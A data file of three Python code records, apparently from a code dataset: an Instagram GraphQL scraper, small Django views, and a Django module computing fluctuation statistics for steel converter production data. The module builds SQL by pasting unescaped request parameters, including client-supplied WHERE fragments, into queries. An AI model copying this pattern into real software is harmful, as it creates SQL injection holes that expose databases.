+{"seq_id":"463124786","text":"import requests,json\n\nheaders = {\n    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:74.0) Gecko/20100101 Firefox/74.0',\n    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n    'Accept-Language': 'en-US,en;q=0.5',\n    'DNT': '1',\n    'Connection': 'keep-alive',\n    'Upgrade-Insecure-Requests': '1',\n}\ndef get_link_by_end(after,idd,query_hash):\n    url = 'https://www.instagram.com/graphql/query/?query_hash='+query_hash+'&variables={\"id\":\"'+idd+'\",\"first\":50,\"after\":\"'+after+'\"}'\n    user_doc = requests.get(url,headers=headers).text\n    user_doc = json.loads(user_doc)\n    links =[]\n    for i in range(50):\n        links.append(str(user_doc['data']['user']['edge_owner_to_timeline_media']['edges'][i]['node']['shortcode']))\n    new_endlink= str(user_doc['data']['user']['edge_owner_to_timeline_media']['page_info']['end_cursor'])\n    return links,new_endlink\n","sub_path":"link.py","file_name":"link.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"373055911","text":"import simplejson as json\nfrom datetime import datetime\n\nfrom django.db.models import Count\nfrom django.http import HttpResponse\nfrom django.shortcuts import render_to_response, get_object_or_404\nfrom django.template import RequestContext\nfrom django.core.paginator import Paginator, EmptyPage, InvalidPage\n\nfrom models import *\n\ndef home(request):\n    filter_who = request.GET.get('who')\n    if filter_who:\n        entry_list = Entry.objects.filter(user=filter_who).order_by('created').reverse()\n    else:\n        entry_list = Entry.objects.all().order_by('created').reverse()\n    paginator = Paginator(entry_list, 10) # Show 10 entries per page\n\n    # Make sure page request is an int. If not, deliver first page\n    try:\n        page = int(request.GET.get('page','1'))\n    except ValueError:\n        page = 1\n\n    # If page is out of range (e.g. 9999), deliver last page of results.\n    try:\n        entries = paginator.page(page)\n    except (EmptyPage, InvalidPage):\n        entries = paginator.page(paginator.num_pages)\n\n    return render_to_response('home.html', locals(), context_instance=RequestContext(request))\n\ndef log(request):\n    entry_list = Entry.objects.raw(\"SELECT id, user, COUNT( * ) as entries, DATE( created ) AS date FROM `main_entry` GROUP BY user, DATE( created )\")\n    if isinstance(entry_list[0].date, unicode):\n        entry_list = [ (e.user,e.date,e.entries) for e in entry_list]\n    else:\n        # In Django trunk dates in raw queries are recognized and converted to datetime objects\n        entry_list = [ (e.user,e.date.strftime(\"%Y-%m-%d\"),e.entries) for e in entry_list]\n    #LORD!\n    per_user = {}\n    for user, date, es in entry_list:\n        data = (date, es)\n\n        if user in per_user:\n            # sum up data\n            data = (data[0], per_user[user][-1:][0][1] + data[1])\n            per_user[user].append(data)\n        else:\n            per_user[user] = []\n            per_user[user].append(data)\n\n    return HttpResponse(json.dumps(per_user), content_type='application/javascript; charset=utf8')\n","sub_path":"main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"164591226","text":"from pandas import DataFrame\nimport pandas as pd\nimport numpy as np\nimport math\nfrom . import models\nfrom django.shortcuts import render\nfrom django.http import HttpResponse,HttpResponseRedirect,StreamingHttpResponse\nimport os\nimport json\nimport datetime\nimport csv\nfrom decimal import *\nfrom scipy.stats import norm\n\n#总体波动率分析(fluctuation.html)将cost和produce合并\ndef fluc_cost_produce(request):\n\t# print(\"enter fluc_cost!\")\n\t# fieldname=request.POST.get(\"fieldname\").upper();#字段名\n\tSPECIFICATION=request.POST.get(\"SPECIFICATION\");#钢种\n\tOPERATESHIFT=request.POST.get(\"OPERATESHIFT\");#班次\n\tOPERATECREW=request.POST.get(\"OPERATECREW\");#班别\n\tstation=request.POST.get(\"station\");#工位\n\ttime1=request.POST.get(\"time1\");\n\ttime2=request.POST.get(\"time2\");\n\thistory_time1=request.POST.get(\"history_time1\");\n\thistory_time2=request.POST.get(\"history_time2\");\n\t############################为测试方便暂时将数据写死\n\t# time1='2016-01-22';\n\t# time2='2016-04-14';\n\t# history_time1='2016-01-01';\n\t# history_time2='2017-03-09';\n\t############################\n\tif SPECIFICATION !='blank':\n\t\tsentence_SPECIFICATION= \" and SPECIFICATION='\"+SPECIFICATION+\"'\"\n\telse:\n\t\tsentence_SPECIFICATION=''\n\tif OPERATESHIFT !='blank':\n\t\tsentence_OPERATESHIFT=\" and OPERATESHIFT='\"+OPERATESHIFT+\"'\"\n\telse:\n\t\tsentence_OPERATESHIFT=''\n\tif OPERATECREW !='blank':\n\t\tsentence_OPERATECREW=\" and OPERATECREW='\"+OPERATECREW+\"'\"\n\telse:\n\t\tsentence_OPERATECREW=''\n\tif station !='blank':\n\t\tsentence_station=\" and station='\"+station+\"'\"\n\telse:\n\t\tsentence_station=''\n\t#计算波动率的时间范围\n\tif time1 != '' and time2!='':\n\t\tsentence_time=\"and to_char(MSG_DATE_PLAN,'yyyy-mm-dd')>'\"+time1+\"'and to_char(MSG_DATE_PLAN,'yyyy-mm-dd')<'\"+time2+\"'\"\n\telse:\n\t\tsentence_time=''\n\t#对比历史波动率的时间范围\n\tif history_time1 != '' and history_time2!='':\n\t\tsentence_historytime=\"and to_char(MSG_DATE_PLAN,'yyyy-mm-dd')>'\"+history_time1+\"'and to_char(MSG_DATE_PLAN,'yyyy-mm-dd')<'\"+history_time2+\"'\"\n\telse:\n\t\tsentence_historytime=''\n\n\ttime={\n\t\t'time1':time1,\n\t\t'time2':time2,\n\t\t'history_time1':history_time1,\n\t\t'history_time2':history_time2\n\t}\n\n\tfield_classification=['raw','material','product','alloy']\n\n\tcontentVO={\n\t\t'title':'测试',\n\t\t'state':'success',\n\t\t'time':time,\n\t\t'field_classification':field_classification\n\t}\n\n\t#result 用来存放四大类字段的结果\n\tclassification_results={}\n\n\t\n\tfor k in range(len(field_classification)):\n\t\tif field_classification[k]=='raw':\n\t\t\t#原料\n\t\t\txasis_fieldname_ch=['铁水重量','生铁','废钢总和','大渣钢','自产废钢','重型废钢','中型废钢']\n\t\t\txasis_fieldname=['MIRON_WGT','COLDPIGWGT','SCRAPWGT_COUNT','SCRAP_96053101','SCRAP_96052200','SCRAP_16010101','SCRAP_16020101']\n\t\t\tdanwei=['Kg','Kg','Kg','Kg','Kg','Kg','Kg']\n\t\telif field_classification[k]=='material':\n\t\t\t#物料\n\t\t\txasis_fieldname_ch=['总吹氧消耗','氮气耗量','1#烧结矿','石灰石_40-70mm','萤石_FL80','增碳剂','低氮增碳剂','石灰','轻烧白云石']\n\t\t\txasis_fieldname=['SUM_BO_CSM','N2CONSUME','L96020400','L12010302','L12010601','L12020201','L12020301','L96040100','L96040200']\n\t\t\tdanwei=['NM3','NM3','Kg','Kg','Kg','Kg','Kg','Kg','Kg']\n\t\telif field_classification[k]=='product':\n\t\t\t#产品\n\t\t\txasis_fieldname_ch=['出钢量','转炉煤气','钢渣']\n\t\t\txasis_fieldname=['STEELWGT','LDG_STEELWGT','STEEL_SLAG']\n\t\t\tdanwei=['Kg','NM3','Kg']\n\t\telse:\n\t\t\t#合金\n\t\t\t# xasis_fieldname_ch=['硅铁_Si72-80%、AL≤2%(粒度10-60mm)','微铝硅铁_Si72-80%、AL≤0.1%、Ti≤0.1%','硅锰合金_Mn65-72%、Si17-20%','高硅硅锰_Mn≥60%、Si≥27%','中碳铬铁']\n\t\t\txasis_fieldname_ch=['硅铁_Si72-80%、AL≤2%','微铝硅铁_Si72-80%、AL≤0.1%','硅锰合金_Mn65-72%、Si17-20%','高硅硅锰_Mn≥60%、Si≥27%','中碳铬铁']\n\t\t\txasis_fieldname=['L13010101','L13010301','L13020101','L13020201','L13040400']\n\t\t\tdanwei=['Kg','Kg','Kg','Kg','Kg']\n\n\t\t#对任意个数字段进行字符串拼接\n\t\tfield_sql=''\n\t\tfor i in range(len(xasis_fieldname)):\n\t\t\tfield_sql=field_sql+',nvl('+xasis_fieldname[i]+',0) as '+xasis_fieldname[i]\n\n\t\t#计算波动率的时间范围的sql\n\t\tsentence_select=sentence_SPECIFICATION+sentence_OPERATESHIFT+sentence_OPERATECREW+sentence_station+sentence_time\n\t\tsentence=\"SELECT HEAT_NO \"+field_sql+\" FROM qg_user.PRO_BOF_HIS_ALLFIELDS WHERE HEAT_NO>'1500000'\"+sentence_select\n\t\t# sentence=\"SELECT HEAT_NO,nvl(MIRON_WGT,0) as MIRON_WGT,nvl(SUM_BO_CSM,0) as SUM_BO_CSM ,nvl(COLDPIGWGT,0) as COLDPIGWGT,nvl(SCRAPWGT_COUNT,0) as SCRAPWGT_COUNT FROM qg_user.PRO_BOF_HIS_ALLFIELDS WHERE HEAT_NO>'1500000'\"+sentence_select\n\t\t\n\n\t\t#对比历史波动率的时间范围的sql\n\t\tsentence_selecthistory=sentence_SPECIFICATION+sentence_OPERATESHIFT+sentence_OPERATECREW+sentence_station+sentence_historytime\n\t\tsentence_history=\"SELECT HEAT_NO \"+field_sql+\" FROM qg_user.PRO_BOF_HIS_ALLFIELDS WHERE HEAT_NO>'1500000'\"+sentence_selecthistory\n\t\t# sentence_history=\"SELECT HEAT_NO,nvl(MIRON_WGT,0) as MIRON_WGT,nvl(SUM_BO_CSM,0) as SUM_BO_CSM ,nvl(COLDPIGWGT,0) as COLDPIGWGT,nvl(SCRAPWGT_COUNT,0) as SCRAPWGT_COUNT FROM qg_user.PRO_BOF_HIS_ALLFIELDS WHERE HEAT_NO>'1500000'\"+sentence_selecthistory\n\t\t\n\t\tcontentVO['sentence_select']=sentence_select\n\t\tcontentVO['sentence_selecthistory']=sentence_selecthistory\n\n\t\t# print('sentence',sentence)\n\t\t# print('sentence_history',sentence_history)\n\n\t\tlength_result1=len(xasis_fieldname)\n\t\t#计算当前时间区间的字段波动率-------------------------------------------------------------------------------------------------\n\t\tsqlVO={}\n\t\tsqlVO[\"db_name\"]=\"l2own\"\n\t\tsqlVO[\"sql\"]=sentence\n\t\tprint(sqlVO[\"sql\"])\n\t\tscrapy_records=models.BaseManage().direct_select_query_sqlVO(sqlVO)\n\t\t# print('len(scrapy_records)',len(scrapy_records))\n\n\n\t\tana_describe=calaulate_describe(scrapy_records,xasis_fieldname)\n\t\t# if ana_describe['sign']==1:\n\t\tif len(scrapy_records)==0:\n\t\t\tcontentVO['state']='failure_current'\n\t\t\treturn HttpResponse(json.dumps(contentVO),content_type='application/json')\n\n\t\t# print('-----------------------ana_describe',ana_describe)\n\n\t\tfluc_ratio=[]#存储各相关性字段的在当前的波动率\n\t\tfor i in range(length_result1):\n\t\t\tif ana_describe['state'][xasis_fieldname[i]]=='wrong':#如果当前追溯字段无值，则设置wrong并在后面筛选除去该字段\n\t\t\t\tfluc_ratio.append('wrong')\n\t\t\t\tcontinue\n\t\t\tdescribe=[ele for ele in ana_describe[xasis_fieldname[i]]]\n\t\t\t#value接受计算完成的字段波动率值\n\t\t\tvalue=describe[2]/describe[1]\n\t\t\tfluc_ratio.append(value)\n\t\tprint(\"-------------------------fluc_ratio\",fluc_ratio)\n\n\n\t\t#计算历史时间区间的字段波动率-------------------------------------------------------------------------------------------------\n\t\tsqlVO_history={}\n\t\tsqlVO_history[\"db_name\"]=\"l2own\"\n\t\tsqlVO_history[\"sql\"]=sentence_history\n\t\tprint(sqlVO_history[\"sql\"])\n\t\tscrapy_records_history=models.BaseManage().direct_select_query_sqlVO(sqlVO_history)\n\n\t\tana_describe_history=calaulate_describe(scrapy_records_history,xasis_fieldname)\n\t\t# if ana_describe_history['sign']==1:\n\t\tif len(scrapy_records_history)==0:\n\t\t\tcontentVO['state']='failure_history'\n\t\t\treturn HttpResponse(json.dumps(contentVO),content_type='application/json')\n\t\t# print('----------------------------ana_describe_history',ana_describe_history)\n\n\t\tfluc_ratio_history=[]#存储各相关性字段的在当前的波动率\n\t\tfor i in range(length_result1):\n\t\t\tif ana_describe_history['state'][xasis_fieldname[i]]=='wrong':#如果当前追溯字段无值，则设置wrong并在后面筛选除去该字段\n\t\t\t\tfluc_ratio_history.append('wrong')\n\t\t\t\tcontinue\n\t\t\tdescribe=[ele for ele in ana_describe_history[xasis_fieldname[i]]]\n\t\t\t#value接收计算完成的字段波动率值：标准差/期望\n\t\t\tvalue=describe[2]/describe[1]\n\t\t\tfluc_ratio_history.append(value)\n\t\tprint(\"--------------------------fluc_ratio_history\",fluc_ratio_history)\n\n\t\t#计算偏离程度\n\t\toffset_result=[]\n\t\tfor i in range(length_result1):\n\t\t\tif fluc_ratio[i]=='wrong' or fluc_ratio_history[i]=='wrong':#即当前字段无值时，在进行分析时（不是追溯时）,将当前字段的参数设为特殊值\n\t\t\t\toffset_result.append('wrong')\n\t\t\t\tcontinue\n\t\t\ttry:\n\t\t\t\t#当fluc_ratio_history[i]=0时，计算公式将会报错，此时表明历史数据是没有波动率的，因此偏离程度相当于无穷\n\t\t\t\ttemp=(fluc_ratio[i]-fluc_ratio_history[i])/fluc_ratio_history[i]\n\t\t\texcept:\n\t\t\t\ttemp=99999999\n\t\t\toffset_result.append(temp)\n\n\t\t#----------------------------------------------\n\t\t#进行筛选，在整体有数据的情况下，删除个别无数据的字段（考虑是否保留此功能）\n\t\txasis_fieldname_result=[]#字段英文名字数组\n\t\txasis_fieldname_ch_result=[]#字段中文名字数组\n\t\tfluc_ratio_result=[]\n\t\tfluc_ratio_history_result=[]\n\t\toffset_result_final=[]#偏离程度值\n\n\t\tfor i in range(length_result1):\n\t\t\tif offset_result[i]==None  or offset_result[i]=='wrong':\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\txasis_fieldname_result.append(xasis_fieldname[i])\n\t\t\t\txasis_fieldname_ch_result.append(xasis_fieldname_ch[i])\n\t\t\t\tfluc_ratio_result.append(fluc_ratio[i])\n\t\t\t\tfluc_ratio_history_result.append(fluc_ratio_history[i])\n\t\t\t\toffset_result_final.append(offset_result[i])\n\n\t\t#------------------------------------------------------------\n\t\toffset_resultlist=[\"%.2f%%\"%(n*100) for n in list(offset_result_final)]\n\t\tqualitative_offset_result_final=qualitative_offset(offset_result_final)#对偏离程度进行定性判断\n\t\tfluc_ratiolist=[\"%.5f\"%(n) for n in list(fluc_ratio_result)]\n\t\tfluc_ratio_historylist=[\"%.5f\"%(n) for n in list(fluc_ratio_history_result)]\n\n\t\tana_result={}\n\t\tana_result['fieldname_ch']=xasis_fieldname_ch_result#中文名\n\t\tana_result['fieldname_en']=xasis_fieldname_result#英文名\n\t\t# ana_result['ana_result']=ana_result\n\t\t# ana_result['ana_describe']=ana_describe\n\t\t# ana_result['ana_result_history']=ana_result_history\n\t\t# ana_result['ana_describe_history']=ana_describe_history\n\t\tana_result['fluc_ratio']=fluc_ratiolist#标准偏差，即变异系数\n\t\tana_result['fluc_ratio_history']=fluc_ratio_historylist#标准偏差，即变异系数\n\t\tana_result['qualitative_offset_result']=qualitative_offset_result_final#偏离程度的定性判断\n\t\tana_result['offset_result']=offset_result_final#偏离程度（小数）\n\t\tana_result['offset_result_cent']=offset_resultlist#偏离程度(百分数)\n\n\t\tclassification_results[field_classification[k]]=ana_result\n\n\tcontentVO['result']=classification_results\n\treturn HttpResponse(json.dumps(contentVO),content_type='application/json')\n\n\n#对偏离程度进行定性判断：高，偏高，正常范围，偏低，低，极端异常\ndef qualitative_offset(offset_result):\n\t#偏离程度定性标准，例如-10%~10%为正常，10%~30%为偏高，30%以上为数据异常/极端数据\n\tqualitative_standard=[0.1,0.3,0.4]\n\tqualitative_offset_result=[]\n\tfor i in range(len(offset_result)):\n\t\tif abs(float(offset_result[i]))<=qualitative_standard[0]:\n\t\t\tqualitative_offset_result.append('正常范围')\n\t\telif abs(float(offset_result[i]))<=qualitative_standard[1]:\n\t\t\tif float(offset_result[i])>0:#偏高\n\t\t\t\tqualitative_offset_result.append('偏高')\n\t\t\telse:#偏低\n\t\t\t\tqualitative_offset_result.append('偏低')\n\t\t# elif  abs(float(offset_result[i]))<=qualitative_standard[2]:\n\t\t# \tif float(offset_result[i])>0:#高\n\t\t# \t\tqualitative_offset_result.append('高')\n\t\t# \telse:#低\n\t\t# \t\tqualitative_offset_result.append('低')\n\t\t# else:#极端情况\n\t\t# \tqualitative_offset_result.append('极端异常')\n\t\telse:#取消数据异常情况\n\t\t\tif float(offset_result[i])>0:#高\n\t\t\t\tqualitative_offset_result.append('高')\n\t\t\telse:\n\t\t\t\tqualitative_offset_result.append('低')\t\t\n\treturn  qualitative_offset_result\n\n#进行五数分析法\ndef Wushu(x):\n    L=np.percentile(x,25)-1.5*(np.percentile(x,75)-np.percentile(x,25))\n    U=np.percentile(x,75)+1.5*(np.percentile(x,75)-np.percentile(x,25))\n    result=x[(x<U)&(x>L)]\n    wushu_clean={}\n    wushu_clean[\"minbook\"]=L\n    wushu_clean[\"maxbook\"]=U\n    wushu_clean[\"result\"]=result\n    return wushu_clean\n\n\n#判断有效小数位数\ndef ivalue_num(num):\n    a=str(num)\n    if(a.isdigit()):\n        ivalue_valid=0\n    else:\n        # print(\"%s,%s\"%(a.split('.'),len(a.split('.'))))\n        #数据库中存在如448.000的字段，执行a.split('.')的结果只有整数部分，因此取a.split('.')[1]会出现超出索引的情况\n        if len(a.split('.'))==1:\n            ivalue_valid=0\n        else:\n            ivalue_valid=len(a.split('.')[1])\n    return  ivalue_valid   \n\n#取有效位数\ndef vaild(lis,ivalue_valid,data):\n    for i in range(len(lis)):\n        shu=lis[i]\n        if ivalue_valid==0:\n            shua=int(float(shu))\n            data.append(shua)\n        else:    \n            shua=float(shu)\n            shub=round(shua,ivalue_valid)\n            data.append(shub)\n    return data \n\n#波动率影响因素追溯\nfrom . import zhuanlu\ndef fluc_influence(request):\n\tprint(\"Enter fluc_influence\")\n\tfield=request.POST.get(\"field\");#字段英文名\n\toffset_value=request.POST.get(\"offset_value\");#一定时间范围波动率的偏离程度，\n\tsentence_select=request.POST.get(\"sentence_select\");\n\tsentence_selecthistory=request.POST.get(\"sentence_selecthistory\");\n\tprint(field)\n\t#将待匹配的字段名设置为参数\n\t#field='MIRON_WGT'\n\tresult=[]\n\n\t#从数据库读取回归系数文件\n\tsqlVO={}\n\tsqlVO[\"db_name\"]=\"l2own\"\n\tsqlVO[\"sql\"]=\"SELECT * FROM PRO_BOF_HIS_RELATION_COF where OUTPUTFIELD='\"+field +\"'  order by abs(COF) desc\"\n\tprint(sqlVO[\"sql\"])\n\tscrapy_records=models.BaseManage().direct_select_query_sqlVO(sqlVO)\n\tprint(scrapy_records)\n\tlength_result1=len(scrapy_records)\n\n\txasis_fieldname=[]#字段英文名字数组\n\tregression_coefficient=[]#字段回归系数值数组\n\tstr_sql=''\n\tfor i in range(length_result1):\n\t\txasis_fieldname.append(scrapy_records[i].get('MIDDLEFIELD', None).upper())\n\t\tregression_coefficient.append(scrapy_records[i].get('COF', None))\n\t\tstr_sql=str_sql+','+scrapy_records[i].get('MIDDLEFIELD', None)\n\t# print(len(scrapy_records))\n\t# print(xasis_fieldname)\n\t# print(regression_coefficient)\n\n\t# #从csv文件读取回归系数文件\n\t# with open('data_import/regression_all_EN1.csv','r') as csvfile:\n\t# # with open('data_import/test.csv','r') as csvfile:\n\t#     reader = csv.reader(csvfile)\n\t#     rows= [row for row in reader]\n\t# aa = np.array(rows)\n\t# aa = sorted(aa, key=lambda d:abs(float(d[2])),reverse=True)\n\t# for aaa in aa:\n\t# \tif(aaa[0]==field):\n\t# \t\tresult.append(aaa)\n\t# result1 = np.array(result)#转变为numpy数组格式\n\t# length_result1=len(result1)\n\t# print(\"长度\"+str(length_result1))\n\t# print(result1)#根据回归系数大小排序结果\n\t# print(\"------------------\")\n\t# xasis_fieldname=[]#字段英文名字数组\n\t# regression_coefficient=[]#字段回归系数值数组\n\t# str_sql=''\n\t# for i in range(length_result1):\n\t# \txasis_fieldname.append(result1[i][1])\n\t# \tregression_coefficient.append(result1[i][2])\n\t# \tstr_sql=str_sql+','+result1[i][1]\n\t# # print(str_sql)\n\n\n\tcontentVO={\n\t\t'title':'测试',\n\t\t'state':'success'\n\t}\n\n\t#计算当前时间区间的字段波动率-------------------------------------------------------------------------------------------------\n\tsqlVO={}\n\tsqlVO[\"db_name\"]=\"l2own\"\n\tsqlVO[\"sql\"]=\"SELECT HEAT_NO\" +str_sql+\" FROM qg_user.PRO_BOF_HIS_ALLFIELDS where heat_no>'150000'\"+sentence_select\n\tprint(sqlVO[\"sql\"])\n\tscrapy_records=models.BaseManage().direct_select_query_sqlVO(sqlVO)\n\tprint('len(scrapy_records)',len(scrapy_records))\n\n\t# try:#对于查询结果无数据的情况\n\tana_describe=calaulate_describe(scrapy_records,xasis_fieldname)\n\t# except:\n\t# \tcontentVO['state']='failure_current'\n\t\t# return HttpResponse(json.dumps(contentVO),content_type='application/json')\n\n\t# print('-----------------------ana_describe',ana_describe)\n\n\tfluc_ratio=[]#存储各相关性字段的在当前的波动率\n\tfor i in range(length_result1):\n\t\tif ana_describe['state'][xasis_fieldname[i]]=='wrong':#如果当前追溯字段无值，则设置wrong并在后面筛选除去该字段\n\t\t\tfluc_ratio.append('wrong')\n\t\t\tcontinue\n\t\tdescribe=[ele for ele in ana_describe[xasis_fieldname[i]]]\n\t\t#value接受计算完成的字段波动率值\n\t\tvalue=describe[2]/describe[1]\n\t\tfluc_ratio.append(value)\n\tprint(\"-------------------------fluc_ratio\",fluc_ratio)\n\n\n\t#计算历史时间区间的字段波动率-------------------------------------------------------------------------------------------------\n\tsqlVO_history={}\n\tsqlVO_history[\"db_name\"]=\"l2own\"\n\tsqlVO_history[\"sql\"]=\"SELECT HEAT_NO\" +str_sql+\" FROM qg_user.PRO_BOF_HIS_ALLFIELDS where heat_no>'150000' \"+sentence_selecthistory\n\tprint(sqlVO_history[\"sql\"])\n\tscrapy_records_history=models.BaseManage().direct_select_query_sqlVO(sqlVO_history)\n\n\t# try:\n\tana_describe_history=calaulate_describe(scrapy_records_history,xasis_fieldname)\n\t# except:\n\t# \tcontentVO['state']='failure_history'\n\t\t# return HttpResponse(json.dumps(contentVO),content_type='application/json')\n\n\t# print('----------------------------ana_describe_history',ana_describe_history)\n\n\tfluc_ratio_history=[]#存储各相关性字段的在当前的波动率\n\tfor i in range(length_result1):\n\t\tif ana_describe_history['state'][xasis_fieldname[i]]=='wrong':\n\t\t\tfluc_ratio_history.append('wrong')\n\t\t\tcontinue\n\t\tdescribe=[ele for ele in ana_describe_history[xasis_fieldname[i]]]\n\t\t#value接收计算完成的字段波动率值：标准差/期望\n\t\tvalue=describe[2]/describe[1]\n\t\tfluc_ratio_history.append(value)\n\tprint(\"--------------------------fluc_ratio_history\",fluc_ratio_history)\n\n\n\t#计算偏离程度\n\toffset_result=[]\n\tfor i in range(length_result1):\n\t\tif fluc_ratio[i]=='wrong' or fluc_ratio_history[i]=='wrong':\n\t\t\toffset_result.append('wrong')\n\t\t\tcontinue\n\t\ttry:\n\t\t\t#当历史波动率fluc_ratio_history[i]=0时，计算公式将会报错，此时表明历史数据是没有波动率的，因此偏离程度相当于无穷\n\t\t\ttemp=(fluc_ratio[i]-fluc_ratio_history[i])/fluc_ratio_history[i]\n\t\texcept:\n\t\t\ttemp=99999999\n\t\toffset_result.append(temp)\n\n\tprint(xasis_fieldname)\n\tprint(\"偏离程度\")\n\tprint(offset_result)\n\n\txasis_fieldname_result=[]#字段英文名字数组\n\tregression_coefficient_result=[]#字段回归系数值数组\n\toffset_result_final=[]#偏离程度值\n\t#即字段偏离高，则正相关应对应偏高，负相关应对应偏低\n\tif float(offset_value)>=0:#读取偏离程度的值，如果前端偏离程度表示为百分比，例如12.6%。则需要截取12.6来判断其正负：offset_value[0:-1]\n\t\tfor i in range(length_result1):\n\t\t\tif offset_result[i]==None  or offset_result[i]=='wrong':#由于数据清洗的问题，暂且将NB字段如此处理，因为NB字段的所有数据均相同，导致数据清洗时将所有数据都清除了\n\t\t\t\tcontinue\n\t\t\tif float(regression_coefficient[i]) * float(offset_result[i]) >=0:\n\t\t\t\txasis_fieldname_result.append(xasis_fieldname[i])\n\t\t\t\tregression_coefficient_result.append(regression_coefficient[i])\n\t\t\t\toffset_result_final.append(offset_result[i])\n\telse:\n\t\tfor i in range(length_result1):\n\t\t\tif offset_result[i]==None  or offset_result[i]=='wrong':\n\t\t\t\tcontinue\n\t\t\tif float(regression_coefficient[i]) * float(offset_result[i]) <=0:\n\t\t\t\txasis_fieldname_result.append(xasis_fieldname[i])\n\t\t\t\tregression_coefficient_result.append(regression_coefficient[i])\n\t\t\t\toffset_result_final.append(offset_result[i])\n\t\t\t\t\n\tcontentVO['xasis_fieldname']=xasis_fieldname_result#回归系数因素英文字段名\n\tcontentVO['regression_coefficient']=regression_coefficient_result#字段回归系数值\n\tcontentVO['offset_result']=offset_result_final#回归系数因素字段偏离值\n\tcontentVO['offset_result_cent']=[\"%.2f%%\"%(n*100) for n in list(offset_result_final)]\n\tcontentVO['offset_number']=len(xasis_fieldname_result)#回归系数最大因素所取字段个数\n\tprint(\"字段名字\")\n\tprint(xasis_fieldname_result)\n\tprint(\"回归系数\")\n\tprint(regression_coefficient_result)\n\tprint(\"偏离程度\")\n\tprint(offset_result_final)\n\n\t#查询转炉工序字段名中英文对照\n\tana_result={}\n\tana_result=zhuanlu.PRO_BOF_HIS_ALLFIELDS\n\tEn_to_Ch_result=[]\n\tfor i in range(len(xasis_fieldname_result)):\n\t\tEn_to_Ch_result.append(ana_result[xasis_fieldname_result[i]])\n\tprint(En_to_Ch_result)\n\tcontentVO['En_to_Ch_result']=En_to_Ch_result#回归系数最大因素中文字段名字\n\treturn HttpResponse(json.dumps(contentVO),content_type='application/json')\n\n#仅进行数据清洗，并计算describe参数（可以是任意个字段），不计算概率分布和正态分布\ndef calaulate_describe(scrapy_records,fieldname):\n\t# print(scrapy_records[1:5])\n\tana_describe={}\n\tana_describe['shuxing']=['count','mean','std','min','25%','50%','75%','max']\n\tstate={}#存储各个字段的状态\n\t# sign=0#标志位，表示是否出现无数据状态\n\tprint('fieldname',fieldname)\n\tfor bookno in fieldname:\n\t\tprint('计算字段：',bookno)\n\t\tstate[bookno]='normal'#初始为正常\n\t\tivalue_i=[]\n\t\t# print('len(scrapy_records)',len(scrapy_records))\n\t\tfor n in range(len(scrapy_records)):\n\t\t\tivalue = scrapy_records[n].get(bookno,None)\n\t\t\tif ivalue !=None and ivalue !=0:\n\t\t\t\t ivalue=ivalue\n\t\t\t\t ivalue_b=str(ivalue)\n\t\t\t\t ivalue_valid=ivalue_num(ivalue_b)#小数位数\n\t\t\t\t ivalue_i.append(ivalue_valid)\n\t\t\t\t ivalue_i.sort(reverse=True)\n\t\tif ivalue_i==[]:#若字段为空，表示该字段没有数据\n\t\t\tstate[bookno]='wrong'#若出现问题，将状态改为wrong\n\t\t\t# sign=1\n\t\t\tcontinue\n\t\tivalue_valid=ivalue_i[0]#取所有有效位数的最大个数\n\t\t# print(ivalue_valid)\t\t\n\t\tfor i in range(len(scrapy_records)):\n\t\t\tvalue = scrapy_records[i].get(bookno,None)\n\t\t\tif value != None :\n\t\t\t\tscrapy_records[i][bookno] = float(value)\t\t\t\n\t\tframe=DataFrame(scrapy_records)\t\n\t\tdf_single=frame[['HEAT_NO',bookno]]\n\t\t# print('df_single',df_single)\n\t\tdf=df_single.sort_values(by=bookno)\n\t\tdfr=df[df>0].dropna(how='any')\n\t\t# print('清洗前的字段',dfr[bookno])\n\n\t\tcleanbook=Wushu(dfr[bookno])\n\t\t# print('清洗后的字段',cleanbook)\n\t\tminbook=cleanbook[\"minbook\"]\n\t\tmaxbook=cleanbook[\"maxbook\"]\t\n\t\tif(minbook==maxbook):#不符合正态分布规律，不进行五数分析\n\t\t\tprint(\"no\")\n\t\t\tclean=dfr[bookno]\t\t\n\t\telse:\n\t\t\tprint(\"yes\")\n\t\t\tclean=cleanbook[\"result\"]\t\t\t\t\n\t\t# print(\"minbook\")\n\t\t# print(minbook)\n\t\t# print(\"maxbook\")\n\t\t# print(maxbook)\n\t\t# print(type(clean))\n\t\t# if bookno=='SCRAP_16040101':\n\t\t# \tprint(clean)\n\t\tif len(clean)<50:#如果数据个数小于50，则跳过这个字段的计算\n\t\t\tstate[bookno]='wrong'#若出现问题，将状态改为wrong\n\t\t\t# sign=1\n\t\t\tcontinue\n\n\t\tdescribe=clean.describe()\n\n\t\t# print(describe)\n\n\t\t# desx=[ele for ele in describe.index]\n\t\tdesy=[ele for ele in describe]\n\n\t\td4_data=[]\n\t\tdesy1=vaild(desy,ivalue_valid,d4_data)\n\n\t\t#desy1内容依次为count、mean、std、min、25%、50%、75%、max\n\t\t#计算波动率：标准差/期望\n\n\t\t# ana_describe['scopeb']=desx\n\t\tana_describe[bookno]=desy1\n\tana_describe['state']=state#用于详细表示各个字段的数据情况，筛选条件下的无数据表示为wrong，正常情况表示为normal\n\t# ana_describe['sign']=sign#用于表征是否出现了字段的无数据现象\n\t# print('state',state)\n\treturn ana_describe","sub_path":"data_import/fluc_chyulia.py","file_name":"fluc_chyulia.py","file_ext":"py","file_size_in_byte":23138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
